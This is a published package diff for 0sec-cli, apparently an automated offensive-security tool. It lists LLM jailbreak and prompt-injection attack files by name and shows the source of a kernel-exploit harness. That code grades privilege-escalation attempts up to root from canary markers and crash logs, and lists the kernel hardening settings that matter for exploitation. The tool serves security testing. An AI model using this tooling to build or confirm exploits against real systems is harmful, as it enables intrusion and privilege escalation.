0sec-cli 0.15.0 → 0.18.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/0sec.js +327 -0
- package/README.md +68 -48
- package/attacks/data-exfiltration/pii-leakage.yaml +27 -0
- package/attacks/encoding-bypass/base64-encoding.yaml +24 -0
- package/attacks/jailbreak/dan-roleplay.yaml +27 -0
- package/attacks/jailbreak/hypothetical-scenario.yaml +25 -0
- package/attacks/jailbreak/multilingual-bypass.yaml +22 -0
- package/attacks/output-manipulation/harmful-content.yaml +25 -0
- package/attacks/prompt-injection/context-manipulation.yaml +32 -0
- package/attacks/prompt-injection/direct-injection.yaml +28 -0
- package/attacks/prompt-injection/indirect-injection.yaml +33 -0
- package/attacks/system-prompt-extraction/direct-ask.yaml +30 -0
- package/attacks/system-prompt-extraction/markdown-exfil.yaml +26 -0
- package/attacks/tool-misuse/ssrf-via-tools.yaml +27 -0
- package/chunks/adapt-loop-SMH6V4PD.js +18 -0
- package/chunks/adgraph-JLGA6RYI.js +54 -0
- package/chunks/agent/skills/frameworks/entra-id.yaml +63 -0
- package/chunks/agent/skills/frameworks/graphql-introspection.yaml +116 -0
- package/chunks/agent/skills/frameworks/nextjs.yaml +82 -0
- package/chunks/agent/skills/frameworks/python-web.yaml +85 -0
- package/chunks/agent/skills/frameworks/supabase.yaml +83 -0
- package/chunks/agent/skills/frameworks/wordpress-deep.yaml +122 -0
- package/chunks/agent/skills/techniques/ad-attack-paths.yaml +57 -0
- package/chunks/agent/skills/techniques/advisory-disclosure.yaml +59 -0
- package/chunks/agent/skills/techniques/assumption-mining.yaml +53 -0
- package/chunks/agent/skills/techniques/blind-exploitation.yaml +143 -0
- package/chunks/agent/skills/techniques/crypto-misuse.yaml +88 -0
- package/chunks/agent/skills/techniques/cve-poc-adaptation.yaml +82 -0
- package/chunks/agent/skills/techniques/entra-attack-paths.yaml +55 -0
- package/chunks/agent/skills/techniques/http-conformance-diff.yaml +48 -0
- package/chunks/agent/skills/techniques/jwt-attacks.yaml +137 -0
- package/chunks/agent/skills/techniques/kernel-weaponization.yaml +53 -0
- package/chunks/agent/skills/techniques/llm-excessive-agency.yaml +55 -0
- package/chunks/agent/skills/techniques/llm-insecure-output-handling.yaml +56 -0
- package/chunks/agent/skills/techniques/llm-prompt-injection.yaml +54 -0
- package/chunks/agent/skills/techniques/llm-prompt-layer-write.yaml +68 -0
- package/chunks/agent/skills/techniques/llm-rag-poisoning.yaml +57 -0
- package/chunks/agent/skills/techniques/llm-safety-eval.yaml +51 -0
- package/chunks/agent/skills/techniques/npm-ecosystem.yaml +51 -0
- package/chunks/agent/skills/techniques/poc-verification.yaml +55 -0
- package/chunks/agent/skills/techniques/race-condition.yaml +122 -0
- package/chunks/agent/skills/techniques/scoped-fix.yaml +49 -0
- package/chunks/agent/skills/techniques/seedless-depth-review.yaml +59 -0
- package/chunks/agent/skills/techniques/spec-differential.yaml +48 -0
- package/chunks/agent/skills/techniques/variant-hunting.yaml +55 -0
- package/chunks/agent/skills/vulnerabilities/cardano-eutxo-validators.yaml +72 -0
- package/chunks/agent/skills/vulnerabilities/command-injection.yaml +99 -0
- package/chunks/agent/skills/vulnerabilities/deserialization-chains.yaml +106 -0
- package/chunks/agent/skills/vulnerabilities/native-memory-safety.yaml +93 -0
- package/chunks/agent/skills/vulnerabilities/path-traversal.yaml +78 -0
- package/chunks/agent/skills/vulnerabilities/prototype-pollution.yaml +132 -0
- package/chunks/agent/skills/vulnerabilities/request-smuggling.yaml +129 -0
- package/chunks/agent/skills/vulnerabilities/sqli-advanced.yaml +102 -0
- package/chunks/agent/skills/vulnerabilities/ssrf-bypass.yaml +84 -0
- package/chunks/agent/skills/vulnerabilities/ssti-exploitation.yaml +112 -0
- package/chunks/agent/skills/vulnerabilities/structural-sqli.yaml +91 -0
- package/chunks/appsec-catalog-CBWHGTEL.js +24 -0
- package/chunks/artifact-scraper-HQ7HLP6V.js +34 -0
- package/chunks/assumption-mining-5SNIVVDN.js +79 -0
- package/chunks/chunk-242TMK6G.js +110 -0
- package/chunks/chunk-2JCCA2JL.js +381 -0
- package/chunks/chunk-2RMLOJVB.js +47 -0
- package/chunks/chunk-3KPWWJCI.js +1422 -0
- package/chunks/chunk-3MOLBTLS.js +953 -0
- package/chunks/chunk-53G27VPS.js +136 -0
- package/chunks/chunk-57ZENEX2.js +169 -0
- package/chunks/chunk-5G3ZXFBW.js +182 -0
- package/chunks/chunk-5JI7L7KV.js +74240 -0
- package/chunks/chunk-6L26OBWI.js +1094 -0
- package/chunks/chunk-6LKRLK2R.js +542 -0
- package/chunks/chunk-72CISA2D.js +2597 -0
- package/chunks/chunk-7DQEV5QI.js +287 -0
- package/chunks/chunk-AD7WXDH6.js +3250 -0
- package/chunks/chunk-ADOLI6DT.js +102 -0
- package/chunks/chunk-AHTBZC3E.js +596 -0
- package/chunks/chunk-ASUR522M.js +518 -0
- package/chunks/chunk-ATATQACO.js +471 -0
- package/chunks/chunk-BATRQBOR.js +1732 -0
- package/chunks/chunk-BFR2CDV5.js +5735 -0
- package/chunks/chunk-BFRB6HB2.js +235 -0
- package/chunks/chunk-BKZFDZ23.js +361 -0
- package/chunks/chunk-BVAZO4WA.js +193 -0
- package/chunks/chunk-BZNEY2ZS.js +33225 -0
- package/chunks/chunk-C2WXWFBB.js +1070 -0
- package/chunks/chunk-CMKXP5RR.js +917 -0
- package/chunks/chunk-DW5UWPFY.js +275 -0
- package/chunks/chunk-F3WBKITT.js +687 -0
- package/chunks/chunk-GMT2AZKM.js +2439 -0
- package/chunks/chunk-H2FFLZNK.js +3 -0
- package/chunks/chunk-IOL7D5YV.js +515 -0
- package/chunks/chunk-IR537GON.js +49 -0
- package/chunks/chunk-JQHOLLTD.js +3729 -0
- package/chunks/chunk-KLTNTE2Z.js +121 -0
- package/chunks/chunk-LP3HHYQU.js +245 -0
- package/chunks/chunk-MYVT64FN.js +16 -0
- package/chunks/chunk-N7BOUYEV.js +852 -0
- package/chunks/chunk-OEFNRYI2.js +150 -0
- package/chunks/chunk-P6WKNFWX.js +1968 -0
- package/chunks/chunk-QI233I24.js +333 -0
- package/chunks/chunk-RJWOYEOG.js +271 -0
- package/chunks/chunk-RRMJC3ZE.js +105 -0
- package/chunks/chunk-RWONANDA.js +973 -0
- package/chunks/chunk-SAFFWQW4.js +5921 -0
- package/chunks/chunk-SF4KZ4O3.js +502 -0
- package/chunks/chunk-SVJEDVYK.js +808 -0
- package/chunks/chunk-TSK2AG6J.js +5108 -0
- package/chunks/chunk-U5FLXGHT.js +2010 -0
- package/chunks/chunk-UCYRA73C.js +662 -0
- package/chunks/chunk-UR4ELX2Y.js +4784 -0
- package/chunks/chunk-VQG4FT5D.js +685 -0
- package/chunks/chunk-WEBMRWEG.js +9337 -0
- package/chunks/chunk-WU6AFRAZ.js +1167 -0
- package/chunks/chunk-WVTBZEQO.js +1531 -0
- package/chunks/chunk-WXQ6BJ6A.js +596 -0
- package/chunks/chunk-XM5NLHYU.js +600 -0
- package/chunks/chunk-YLMN3N25.js +4054 -0
- package/chunks/chunk-YYRBQVFE.js +2572 -0
- package/chunks/chunk-Z5FA2XOX.js +2798 -0
- package/chunks/commands-TBC2F5CE.js +16999 -0
- package/chunks/corpus-v1.json +403 -0
- package/chunks/cost-ledger-NU63MYZM.js +13 -0
- package/chunks/data/appsec-archetypes.json +102 -0
- package/chunks/data/chromium-archetypes.json +204 -0
- package/chunks/data/freebsd-archetypes.json +171 -0
- package/chunks/data/kernel-archetypes.json +611 -0
- package/chunks/db-KFWOAUUB.js +16 -0
- package/chunks/disclose-EKTWSCGW.js +132 -0
- package/chunks/dist-4MAW5X6L.js +74 -0
- package/chunks/dist-4YICS2J2.js +2776 -0
- package/chunks/dist-FMGSR3DW.js +159 -0
- package/chunks/eval-runner-7ZF472KV.js +27 -0
- package/chunks/example-manifest.json +95 -0
- package/chunks/exploit-agent-45YQOHPJ.js +98 -0
- package/chunks/exploit-autoclimb-UZGEMGYT.js +81 -0
- package/chunks/exploit-climb-SG23KB2G.js +358 -0
- package/chunks/fix-IG7LYXH3.js +12 -0
- package/chunks/github-issues-MJ6OYOOU.js +157 -0
- package/chunks/harness-7ODOLOWU.js +22 -0
- package/chunks/http-conformance-DU66MZIU.js +11 -0
- package/chunks/http-sender-GWH2IYEA.js +10 -0
- package/chunks/hunt-scan-MMKUOETU.js +38 -0
- package/chunks/identity-6ZAIIWOR.js +191 -0
- package/chunks/kernel-primitive-7U6CWHXD.js +44 -0
- package/chunks/kernel-vm-runner-3JAU4O6J.js +62 -0
- package/chunks/memsafety-scan-J7SECV5W.js +16 -0
- package/chunks/native-loop-RJCJPOUS.js +54 -0
- package/chunks/npm-detectors-KB5Y5ZFX.js +69 -0
- package/chunks/npm-dynamic-discovery-AHROOZDB.js +13 -0
- package/chunks/orchestrate-OC2VZN2X.js +62 -0
- package/chunks/pipeline-BZK5BLJR.js +14 -0
- package/chunks/pre-recon-cve-66EB6G4M.js +351 -0
- package/chunks/prepare-MYY743TK.js +13 -0
- package/chunks/process-LQRCS5OY.js +13 -0
- package/chunks/replay-runner-45G3VU7X.js +39 -0
- package/chunks/run-D56MPDKY.js +32716 -0
- package/chunks/runtime-G7YWIO3B.js +43 -0
- package/chunks/runtime-J7PLXZNM.js +12 -0
- package/chunks/scan-stream-FHI2FYZE.js +96 -0
- package/chunks/scope-BI7BF4ZY.js +18 -0
- package/chunks/session-store-GZ4A4KYT.js +28 -0
- package/chunks/source-files-PWRQR6LY.js +12 -0
- package/chunks/specdrift-WCLH6TTQ.js +19 -0
- package/chunks/variant-candidates-YERCYMPD.js +13 -0
- package/chunks/web-recon-prepass-JJGPEOLE.js +1148 -0
- package/dashboard/assets/0sec-icon-66SreztZ.gif +0 -0
- package/dashboard/assets/bot-yILPnRgD.js +1 -0
- package/dashboard/assets/chevron-down-BeDJ-Vka.js +1 -0
- package/dashboard/assets/circle-alert-BEnMBMT-.js +1 -0
- package/dashboard/assets/client-DRYsuOGl.js +9 -0
- package/dashboard/assets/copy-Bi5vzoF9.js +1 -0
- package/dashboard/assets/desktop-CXTQonNm.js +32 -0
- package/dashboard/assets/desktop-NOekk4QS.css +1 -0
- package/dashboard/assets/dist-CmX-h7a4.js +1 -0
- package/dashboard/assets/dist-DAwYQmf_.js +45 -0
- package/dashboard/assets/findings-page-CACW9nw2.js +5 -0
- package/dashboard/assets/format-PoISqsES.js +1 -0
- package/dashboard/assets/geist-cyrillic-ext-wght-normal-DjL33-gN.woff2 +0 -0
- package/dashboard/assets/geist-cyrillic-wght-normal-BEAKL7Jp.woff2 +0 -0
- package/dashboard/assets/geist-latin-ext-wght-normal-DC-KSUi6.woff2 +0 -0
- package/dashboard/assets/geist-latin-wght-normal-BgDaEnEv.woff2 +0 -0
- package/dashboard/assets/geist-vietnamese-wght-normal-6IgcOCM7.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-400-normal-BSMlKf0J.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-400-normal-CEL4l2ZJ.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-ext-400-normal-DMdlQ8Kv.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-cyrillic-ext-400-normal-xuaO2J-f.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-400-normal-CvHOgSBP.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-400-normal-DMJ8VG8y.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-ext-400-normal-BmRBH3aV.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-latin-ext-400-normal-D3D2R8hC.woff +0 -0
- package/dashboard/assets/ibm-plex-mono-vietnamese-400-normal-BulugwFq.woff2 +0 -0
- package/dashboard/assets/ibm-plex-mono-vietnamese-400-normal-DDuiU_S-.woff +0 -0
- package/dashboard/assets/jsx-runtime-C7oxC63R.js +1 -0
- package/dashboard/assets/live-page-DrgQqQK5.js +1 -0
- package/dashboard/assets/meta-tile-CcskIV_o.js +1 -0
- package/dashboard/assets/operations-BKE8T-vY.css +2 -0
- package/dashboard/assets/operations-D8nUP5_m.js +4 -0
- package/dashboard/assets/operations-app-CQQhG54n.js +2 -0
- package/dashboard/assets/overview-page-DTGS8dPo.js +1 -0
- package/dashboard/assets/page-header-MFVvEtZW.js +1 -0
- package/dashboard/assets/play-Dwo-9xt6.js +1 -0
- package/dashboard/assets/scans-page-ChVtq8Us.js +1 -0
- package/dashboard/assets/search-CiooTLck.js +1 -0
- package/dashboard/assets/siren-CCBwTSuk.js +1 -0
- package/dashboard/assets/table-BYS-nIVA.js +1 -0
- package/dashboard/assets/tabs-DivxbhQy.js +1 -0
- package/dashboard/desktop.html +21 -0
- package/dashboard/index.html +15 -0
- package/package.json +30 -18
- package/bin/0sec.cjs +0 -361
|
@@ -0,0 +1,1732 @@
|
|
|
1
|
+
#!/usr/bin/env node
|
|
2
|
+
import { createRequire as __0secCreateRequire } from "node:module";
|
|
3
|
+
const require = __0secCreateRequire(import.meta.url);
|
|
4
|
+
import {
|
|
5
|
+
runReproducerInKernelVm
|
|
6
|
+
} from "./chunk-3KPWWJCI.js";
|
|
7
|
+
import {
|
|
8
|
+
ESCALATION_LADDER,
|
|
9
|
+
ladderUpTo,
|
|
10
|
+
ratchet,
|
|
11
|
+
rungAtLeast,
|
|
12
|
+
rungRank
|
|
13
|
+
} from "./chunk-RJWOYEOG.js";
|
|
14
|
+
|
|
15
|
+
// packages/core/dist/kernel/exploit/harness.js
|
|
16
|
+
import { existsSync } from "node:fs";
|
|
17
|
+
import { randomBytes } from "node:crypto";
|
|
18
|
+
|
|
19
|
+
// packages/core/dist/kernel/exploit/oracle.js
|
|
20
|
+
var RUNG_MARKER_TAG = {
|
|
21
|
+
attempted: "ATTEMPTED",
|
|
22
|
+
triggered: "TRIGGERED",
|
|
23
|
+
reclaim: "RECLAIM",
|
|
24
|
+
"arb-read": "ARB-READ",
|
|
25
|
+
"arb-write": "ARB-WRITE",
|
|
26
|
+
root: "ROOT"
|
|
27
|
+
};
|
|
28
|
+
var ROOT_UID_WITNESS = /\b(uid|euid)=0\b/;
|
|
29
|
+
var KASAN_WRITE_SITE = /Write of size|Memory state around|BUG: KASAN:.*\bWrite\b/i;
|
|
30
|
+
var TRIGGER_FAULT = /BUG: KASAN:|Unable to handle kernel paging request|Oops:|BUG: unable to handle/i;
|
|
31
|
+
var REAL_SYSCALL_ENTRY = /__(?:x64|arm64)_sys_[a-z0-9_]+|entry_SYSCALL_64|el0_svc|invoke_syscall/i;
|
|
32
|
+
var FORCED_FAULT = /fault[-_ ]?inject|fail_function|LKDTM|sysrq|debugfs.*fail/i;
|
|
33
|
+
var MODULE_FAULT = /\b(?:Comm:\s*)?(?:insmod|modprobe)\b/i;
|
|
34
|
+
function triggerWitnessed(dmesg) {
|
|
35
|
+
if (!dmesg)
|
|
36
|
+
return false;
|
|
37
|
+
return TRIGGER_FAULT.test(dmesg) && REAL_SYSCALL_ENTRY.test(dmesg) && !FORCED_FAULT.test(dmesg) && !MODULE_FAULT.test(dmesg);
|
|
38
|
+
}
|
|
39
|
+
var RECLAIM_ALIAS_SUFFIX = ":RECLAIM-ALIAS";
|
|
40
|
+
function reclaimAliasToken(canary) {
|
|
41
|
+
const MASK = 0xffffffffffffffffn;
|
|
42
|
+
let h = 0xcbf29ce484222325n;
|
|
43
|
+
const data = `${canary}${RECLAIM_ALIAS_SUFFIX}`;
|
|
44
|
+
for (let i = 0; i < data.length; i++) {
|
|
45
|
+
h ^= BigInt(data.charCodeAt(i) & 255);
|
|
46
|
+
h = h * 0x100000001b3n & MASK;
|
|
47
|
+
}
|
|
48
|
+
return h.toString(16).padStart(16, "0");
|
|
49
|
+
}
|
|
50
|
+
function reclaimSprayLine(canary, token) {
|
|
51
|
+
return `0SEC-CANARY:${canary}:RECLAIM-SPRAY:${token}`;
|
|
52
|
+
}
|
|
53
|
+
function reclaimAliasLine(canary, observed) {
|
|
54
|
+
return `0SEC-CANARY:${canary}:RECLAIM-ALIAS:${observed}`;
|
|
55
|
+
}
|
|
56
|
+
function reclaimAliasWitnessed(haystack, canary) {
|
|
57
|
+
if (!canary)
|
|
58
|
+
return false;
|
|
59
|
+
const token = reclaimAliasToken(canary);
|
|
60
|
+
return haystack.includes(reclaimSprayLine(canary, token)) && haystack.includes(reclaimAliasLine(canary, token));
|
|
61
|
+
}
|
|
62
|
+
function markerLine(rung, canary) {
|
|
63
|
+
return `0SEC-CANARY:${canary}:${RUNG_MARKER_TAG[rung]}`;
|
|
64
|
+
}
|
|
65
|
+
function markerFired(haystack, rung, canary) {
|
|
66
|
+
if (!canary)
|
|
67
|
+
return false;
|
|
68
|
+
return haystack.includes(markerLine(rung, canary));
|
|
69
|
+
}
|
|
70
|
+
function reclaimSprayId(haystack, canary) {
|
|
71
|
+
if (!canary)
|
|
72
|
+
return void 0;
|
|
73
|
+
const prefix = `${markerLine("reclaim", canary)}:`;
|
|
74
|
+
const idx = haystack.indexOf(prefix);
|
|
75
|
+
if (idx < 0)
|
|
76
|
+
return void 0;
|
|
77
|
+
const rest = haystack.slice(idx + prefix.length);
|
|
78
|
+
const end = rest.search(/[\r\n]/);
|
|
79
|
+
const id = (end < 0 ? rest : rest.slice(0, end)).trim();
|
|
80
|
+
return id || void 0;
|
|
81
|
+
}
|
|
82
|
+
function reclaimWitnessed(dmesg, canary, haystack) {
|
|
83
|
+
if (!dmesg)
|
|
84
|
+
return false;
|
|
85
|
+
const sprayId = reclaimSprayId(haystack, canary);
|
|
86
|
+
if (!sprayId)
|
|
87
|
+
return false;
|
|
88
|
+
if (!KASAN_WRITE_SITE.test(dmesg))
|
|
89
|
+
return false;
|
|
90
|
+
return dmesg.includes(sprayId);
|
|
91
|
+
}
|
|
92
|
+
function droppedBeforeRoot(haystack, canary) {
|
|
93
|
+
const rootWitness = haystack.search(ROOT_UID_WITNESS);
|
|
94
|
+
if (rootWitness < 0)
|
|
95
|
+
return false;
|
|
96
|
+
const dropPrefix = `0SEC-CANARY:${canary}:DROP:`;
|
|
97
|
+
let from = 0;
|
|
98
|
+
for (; ; ) {
|
|
99
|
+
const idx = haystack.indexOf(dropPrefix, from);
|
|
100
|
+
if (idx < 0)
|
|
101
|
+
return false;
|
|
102
|
+
if (idx >= rootWitness)
|
|
103
|
+
return false;
|
|
104
|
+
const rest = haystack.slice(idx + dropPrefix.length);
|
|
105
|
+
const end = rest.search(/[\r\n]/);
|
|
106
|
+
const detail = end < 0 ? rest : rest.slice(0, end);
|
|
107
|
+
const m = detail.match(/uid=(\d+)/);
|
|
108
|
+
if (m && m[1] !== "0" && Number(m[1]) !== 0)
|
|
109
|
+
return true;
|
|
110
|
+
from = idx + dropPrefix.length;
|
|
111
|
+
}
|
|
112
|
+
}
|
|
113
|
+
function adjudicate(input) {
|
|
114
|
+
const haystack = `${input.output}
|
|
115
|
+
${input.dmesg ?? ""}`;
|
|
116
|
+
const attemptedRank = rungRank(input.attemptedRung);
|
|
117
|
+
const cacheKey = input.cacheKey;
|
|
118
|
+
const reclaimWitness = input.reclaimWitness ?? "kasan-write-site";
|
|
119
|
+
if (input.expectedCacheKey && cacheKey && input.expectedCacheKey !== cacheKey) {
|
|
120
|
+
return {
|
|
121
|
+
rung: "none",
|
|
122
|
+
confirmed: false,
|
|
123
|
+
evidence: "",
|
|
124
|
+
cacheKey,
|
|
125
|
+
reason: `kernel-image mismatch: proof booted on '${cacheKey}' but expected '${input.expectedCacheKey}' \u2014 proof rejected (wrong-kernel binding)`
|
|
126
|
+
};
|
|
127
|
+
}
|
|
128
|
+
const firedLines = [];
|
|
129
|
+
let proven = "none";
|
|
130
|
+
for (const rung of ESCALATION_LADDER) {
|
|
131
|
+
if (rung === "none")
|
|
132
|
+
continue;
|
|
133
|
+
if (rungRank(rung) > attemptedRank)
|
|
134
|
+
break;
|
|
135
|
+
if (!markerFired(haystack, rung, input.canary))
|
|
136
|
+
continue;
|
|
137
|
+
if (rung === "triggered" && !triggerWitnessed(input.dmesg)) {
|
|
138
|
+
continue;
|
|
139
|
+
}
|
|
140
|
+
if (rungRank(rung) > rungRank("triggered") && rungRank(proven) < rungRank("triggered")) {
|
|
141
|
+
continue;
|
|
142
|
+
}
|
|
143
|
+
if (rung === "reclaim") {
|
|
144
|
+
const witnessed = reclaimWitness === "nokasan-aliasing" ? reclaimAliasWitnessed(haystack, input.canary) : reclaimWitnessed(input.dmesg, input.canary, haystack);
|
|
145
|
+
if (!witnessed) {
|
|
146
|
+
continue;
|
|
147
|
+
}
|
|
148
|
+
}
|
|
149
|
+
if (rung === "root" && (!ROOT_UID_WITNESS.test(haystack) || !droppedBeforeRoot(haystack, input.canary))) {
|
|
150
|
+
continue;
|
|
151
|
+
}
|
|
152
|
+
proven = rung;
|
|
153
|
+
firedLines.push(markerLine(rung, input.canary));
|
|
154
|
+
}
|
|
155
|
+
const confirmed = rungRank(proven) >= attemptedRank && attemptedRank > 0;
|
|
156
|
+
const evidence = firedLines.join("\n");
|
|
157
|
+
if (confirmed) {
|
|
158
|
+
return {
|
|
159
|
+
rung: proven,
|
|
160
|
+
confirmed: true,
|
|
161
|
+
evidence,
|
|
162
|
+
cacheKey,
|
|
163
|
+
reason: `deterministic marker confirmed rung '${proven}' for canary ${input.canary}`
|
|
164
|
+
};
|
|
165
|
+
}
|
|
166
|
+
if (proven !== "none") {
|
|
167
|
+
return {
|
|
168
|
+
rung: proven,
|
|
169
|
+
confirmed: false,
|
|
170
|
+
evidence,
|
|
171
|
+
cacheKey,
|
|
172
|
+
reason: `attempted '${input.attemptedRung}' but only proved '${proven}' (strongest canary-bound marker observed)`
|
|
173
|
+
};
|
|
174
|
+
}
|
|
175
|
+
const rootMarker = input.attemptedRung === "root" && haystack.includes(markerLine("root", input.canary));
|
|
176
|
+
const rootNoUid = rootMarker && !ROOT_UID_WITNESS.test(haystack);
|
|
177
|
+
const rootFromRoot = rootMarker && ROOT_UID_WITNESS.test(haystack) && !droppedBeforeRoot(haystack, input.canary);
|
|
178
|
+
const reclaimAliasMiss = input.attemptedRung === "reclaim" && reclaimWitness === "nokasan-aliasing" && markerFired(haystack, "reclaim", input.canary) && !reclaimAliasWitnessed(haystack, input.canary);
|
|
179
|
+
return {
|
|
180
|
+
rung: "none",
|
|
181
|
+
confirmed: false,
|
|
182
|
+
evidence: "",
|
|
183
|
+
cacheKey,
|
|
184
|
+
reason: rootNoUid ? "ROOT marker fired but no uid=0/euid=0 witness \u2014 not credited as root" : rootFromRoot ? "ROOT marker + uid=0 witness but no preceding uid drop (root-from-root) \u2014 not credited as root" : reclaimAliasMiss ? "RECLAIM marker fired but the canary-derived spray token was not read back through the dangling pointer (aliasing not witnessed) \u2014 not credited as reclaim" : `no canary-bound marker for rung '${input.attemptedRung}' in output`
|
|
185
|
+
};
|
|
186
|
+
}
|
|
187
|
+
|
|
188
|
+
// packages/core/dist/kernel/exploit/introspect.js
|
|
189
|
+
import { execFileSync } from "node:child_process";
|
|
190
|
+
var defaultCommandRunner = (file, args) => execFileSync(file, args, {
|
|
191
|
+
encoding: "utf8",
|
|
192
|
+
stdio: ["ignore", "pipe", "ignore"],
|
|
193
|
+
maxBuffer: 64 * 1024 * 1024
|
|
194
|
+
});
|
|
195
|
+
var EXPLOIT_CONFIG_GATES = [
|
|
196
|
+
"STATIC_USERMODEHELPER",
|
|
197
|
+
"SLAB_BUCKETS",
|
|
198
|
+
"MEMCG",
|
|
199
|
+
"RANDOM_KMALLOC_CACHES",
|
|
200
|
+
"RANDOMIZE_BASE",
|
|
201
|
+
"SLAB_FREELIST_RANDOM",
|
|
202
|
+
"SLAB_FREELIST_HARDENED",
|
|
203
|
+
"HARDENED_USERCOPY",
|
|
204
|
+
"USERFAULTFD",
|
|
205
|
+
"FUSE_FS",
|
|
206
|
+
"INIT_ON_ALLOC_DEFAULT_ON"
|
|
207
|
+
];
|
|
208
|
+
function introspectExploitConfig(configText) {
|
|
209
|
+
const enabled = /* @__PURE__ */ new Set();
|
|
210
|
+
for (const line of (configText ?? "").split("\n")) {
|
|
211
|
+
const trimmed = line.trim();
|
|
212
|
+
if (trimmed.startsWith("#") || trimmed === "")
|
|
213
|
+
continue;
|
|
214
|
+
const match = trimmed.match(/^(CONFIG_\w+)=(y|m)\b/);
|
|
215
|
+
if (match)
|
|
216
|
+
enabled.add(match[1]);
|
|
217
|
+
}
|
|
218
|
+
const has = (gate) => enabled.has(`CONFIG_${gate}`);
|
|
219
|
+
const cfg = {};
|
|
220
|
+
for (const gate of EXPLOIT_CONFIG_GATES)
|
|
221
|
+
cfg[gate] = has(gate);
|
|
222
|
+
return cfg;
|
|
223
|
+
}
|
|
224
|
+
function parsePcToken(faultingPc) {
|
|
225
|
+
const m = (faultingPc ?? "").match(/^([A-Za-z_][\w.$]*)\+0x([0-9a-fA-F]+)(?:\/0x([0-9a-fA-F]+))?/);
|
|
226
|
+
if (!m)
|
|
227
|
+
return void 0;
|
|
228
|
+
return {
|
|
229
|
+
symbol: m[1],
|
|
230
|
+
offset: parseInt(m[2], 16),
|
|
231
|
+
...m[3] ? { size: parseInt(m[3], 16) } : {}
|
|
232
|
+
};
|
|
233
|
+
}
|
|
234
|
+
var ARG_REG_ROLE = {
|
|
235
|
+
rdi: "dst",
|
|
236
|
+
edi: "dst",
|
|
237
|
+
rsi: "src",
|
|
238
|
+
esi: "src",
|
|
239
|
+
rdx: "len",
|
|
240
|
+
edx: "len"
|
|
241
|
+
};
|
|
242
|
+
function disassembleAround(vmlinuxPath, faultingPc, runner = defaultCommandRunner, opts = {}) {
|
|
243
|
+
if (!vmlinuxPath || !faultingPc) {
|
|
244
|
+
return { rawDisasm: "", note: "no vmlinux / faulting PC" };
|
|
245
|
+
}
|
|
246
|
+
const pc = parsePcToken(faultingPc);
|
|
247
|
+
if (!pc) {
|
|
248
|
+
return { rawDisasm: "", note: `unparseable faulting PC '${faultingPc}'` };
|
|
249
|
+
}
|
|
250
|
+
const before = opts.before ?? 64;
|
|
251
|
+
const after = opts.after ?? Math.max(pc.size ?? 0, 128);
|
|
252
|
+
let raw = "";
|
|
253
|
+
try {
|
|
254
|
+
raw = runner("objdump", [
|
|
255
|
+
"-d",
|
|
256
|
+
"--no-show-raw-insn",
|
|
257
|
+
`--disassemble=${pc.symbol}`,
|
|
258
|
+
vmlinuxPath
|
|
259
|
+
]);
|
|
260
|
+
} catch {
|
|
261
|
+
try {
|
|
262
|
+
raw = runner("objdump", ["-d", "--no-show-raw-insn", vmlinuxPath]);
|
|
263
|
+
} catch {
|
|
264
|
+
return { rawDisasm: "", note: "objdump failed (tool/vmlinux absent)" };
|
|
265
|
+
}
|
|
266
|
+
}
|
|
267
|
+
return parseDisasmWindow(raw, pc.symbol, pc.offset, before, after);
|
|
268
|
+
}
|
|
269
|
+
function parseDisasmWindow(rawDisasm, symbol, pcOffset, before, after) {
|
|
270
|
+
const lines = rawDisasm.split("\n");
|
|
271
|
+
let funcStart;
|
|
272
|
+
const labelRe = new RegExp(`^([0-9a-fA-F]+)\\s+<${escapeRe(symbol)}>:`);
|
|
273
|
+
for (const line of lines) {
|
|
274
|
+
const m = line.match(labelRe);
|
|
275
|
+
if (m) {
|
|
276
|
+
funcStart = BigInt(`0x${m[1]}`);
|
|
277
|
+
break;
|
|
278
|
+
}
|
|
279
|
+
}
|
|
280
|
+
if (funcStart === void 0) {
|
|
281
|
+
return {
|
|
282
|
+
rawDisasm,
|
|
283
|
+
note: `symbol '${symbol}' not found in disassembly`
|
|
284
|
+
};
|
|
285
|
+
}
|
|
286
|
+
const lo = BigInt(pcOffset - before);
|
|
287
|
+
const hi = BigInt(pcOffset + after);
|
|
288
|
+
const insnRe = /^\s*([0-9a-fA-F]+):\s+(.*)$/;
|
|
289
|
+
const movRe = /\bmov[a-z]*\s+(?:0x([0-9a-fA-F]+))?\(%r[a-z0-9]+\),%(\w+)\b/;
|
|
290
|
+
const roleOffset = {};
|
|
291
|
+
for (const line of lines) {
|
|
292
|
+
const im = line.match(insnRe);
|
|
293
|
+
if (!im)
|
|
294
|
+
continue;
|
|
295
|
+
let addr;
|
|
296
|
+
try {
|
|
297
|
+
addr = BigInt(`0x${im[1]}`);
|
|
298
|
+
} catch {
|
|
299
|
+
continue;
|
|
300
|
+
}
|
|
301
|
+
const inFuncOff = addr - funcStart;
|
|
302
|
+
if (inFuncOff < lo || inFuncOff > hi)
|
|
303
|
+
continue;
|
|
304
|
+
const mm = im[2].match(movRe);
|
|
305
|
+
if (!mm)
|
|
306
|
+
continue;
|
|
307
|
+
const role = ARG_REG_ROLE[mm[2]];
|
|
308
|
+
if (!role)
|
|
309
|
+
continue;
|
|
310
|
+
const disp = mm[1] ? parseInt(mm[1], 16) : 0;
|
|
311
|
+
if (roleOffset[role] === void 0)
|
|
312
|
+
roleOffset[role] = disp;
|
|
313
|
+
}
|
|
314
|
+
const dstOffset = roleOffset.dst;
|
|
315
|
+
const lenOffset = roleOffset.len;
|
|
316
|
+
const srcOffset = roleOffset.src;
|
|
317
|
+
const parts = [];
|
|
318
|
+
if (dstOffset !== void 0)
|
|
319
|
+
parts.push(`dst<-0x${dstOffset.toString(16)}`);
|
|
320
|
+
if (srcOffset !== void 0)
|
|
321
|
+
parts.push(`src<-0x${srcOffset.toString(16)}`);
|
|
322
|
+
if (lenOffset !== void 0)
|
|
323
|
+
parts.push(`len<-0x${lenOffset.toString(16)}`);
|
|
324
|
+
return {
|
|
325
|
+
rawDisasm,
|
|
326
|
+
...dstOffset !== void 0 ? { dstOffset } : {},
|
|
327
|
+
